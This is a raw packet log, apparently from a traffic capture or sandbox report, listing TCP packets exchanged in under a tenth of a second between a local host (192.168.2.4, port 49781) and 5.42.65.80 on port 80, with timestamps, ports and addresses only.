Sep 23, 2023 17:53:23.685415983 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.685419083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.690236092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.690278053 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.690448999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.691667080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.691705942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.692037106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.694387913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.694430113 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.694479942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.694531918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.694574118 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.694681883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.696645021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.696662903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.696687937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.696830034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.696867943 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.696975946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.698249102 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.698297024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.698321104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.698455095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.698493004 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.698673010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.700633049 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.700686932 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.700714111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.700819969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.700865030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.701028109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.701086998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.701123953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.701260090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.704938889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.704988956 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.705014944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.705161095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.705198050 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.705223083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.705276966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.705312967 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.705331087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.705399990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.705415964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.705442905 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.706070900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.706113100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.706137896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.706374884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.706414938 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.706470966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.706625938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.706671000 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.706696033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.706748962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.706789970 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.706829071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.706899881 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.706917048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.706940889 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.707197905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.707241058 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.707323074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.707798004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.707840919 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.707905054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.707983017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.708019018 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.708034039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.708101988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.708133936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.708142042 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.708197117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.708231926 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.708328009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.708539963 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.708580971 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.708664894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.708739042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.708755016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.708774090 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.708830118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.708846092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.708868027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.708894014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.708933115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.708971024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.709068060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.709106922 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.709129095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.709198952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.709233046 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.709240913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.709280968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.709317923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.709378958 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.709454060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.709487915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.709558010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.709620953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.709659100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.709673882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.709912062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.709950924 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.709976912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.710030079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.710062981 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.710119009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.710170984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.710211992 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.710263014 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.710310936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.710571051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.710606098 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.710778952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.710848093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.710865021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.710886002 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.710966110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.711002111 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.711016893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.711064100 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.711098909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.711169004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.711316109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.711352110 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.711481094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.711549997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.711584091 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.711601973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.711667061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.711702108 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.711714983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.711730957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.711766958 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.711792946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.711877108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.711910009 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.711949110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.712027073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.712058067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.712061882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.712502003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.712543964 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.712560892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.712636948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.712670088 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.712708950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.712899923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.712938070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.712975979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.713025093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.713061094 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.713144064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.713212013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.713247061 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.713433027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.713660002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.713696003 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.713707924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.713800907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.713836908 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.713861942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.713917971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.713953972 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.713977098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.714054108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.714088917 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.714374065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.714567900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.714607000 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.714612007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.714665890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.714700937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.714761019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.714950085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.714989901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.715286016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.715421915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.715460062 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.715472937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.715626001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.715665102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.715692043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.715852976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.715892076 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.715914011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.716080904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.716120005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.716135025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.716244936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.716279984 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.716284037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.716341972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.716379881 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.716418982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.716468096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.716512918 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.716552973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.716638088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.716655016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.716676950 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.716701984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.716736078 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.716834068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.716962099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.716999054 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.717264891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.717349052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.717386007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.717442036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.717528105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.717562914 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.717746019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.717838049 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.717875004 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.717935085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.726289988 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.741269112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.741286993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.741302967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.741338015 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.741367102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.741439104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.741482973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.741523027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.741542101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.741592884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.741631985 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.741724968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.742041111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.742197037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.742223024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.742235899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.742255926 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.742422104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.742439032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.742479086 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.742501020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.742599964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.742657900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.742696047 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.742779970 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.742820024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.742856979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.743382931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.743422985 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.743429899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.743458986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.743495941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.743555069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.743572950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.743608952 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.743737936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.743982077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.744220018 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.744230032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.744355917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.744431019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.744446993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.744467974 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.744488955 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.744513988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.744561911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.744601011 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.744623899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.744695902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.744731903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.744759083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.744857073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.744920969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.744956970 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.745367050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.745532036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.745573044 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.745573044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.745630980 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.745656967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.745780945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.745971918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.746016026 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.746191978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.746418953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.746459961 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.746555090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.746592045 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.746954918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.747176886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.747215033 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.747421026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.747549057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.747589111 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.747679949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.747819901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.747945070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.747992039 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.748013020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.748028994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.748070002 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.748385906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.748465061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.748518944 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.748544931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.748579025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.748594046 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.748615980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.748687029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.748728991 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.748745918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.748864889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.748904943 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.748965979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.749007940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.749140024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.749265909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.749309063 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.749320030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.749368906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.749411106 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.749435902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.749470949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.749561071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.749598026 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.749684095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.749768972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.749804974 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.749887943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.749926090 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.750114918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.750200987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.750245094 CEST	49781	80	192.168.2.4	5.42.65.80
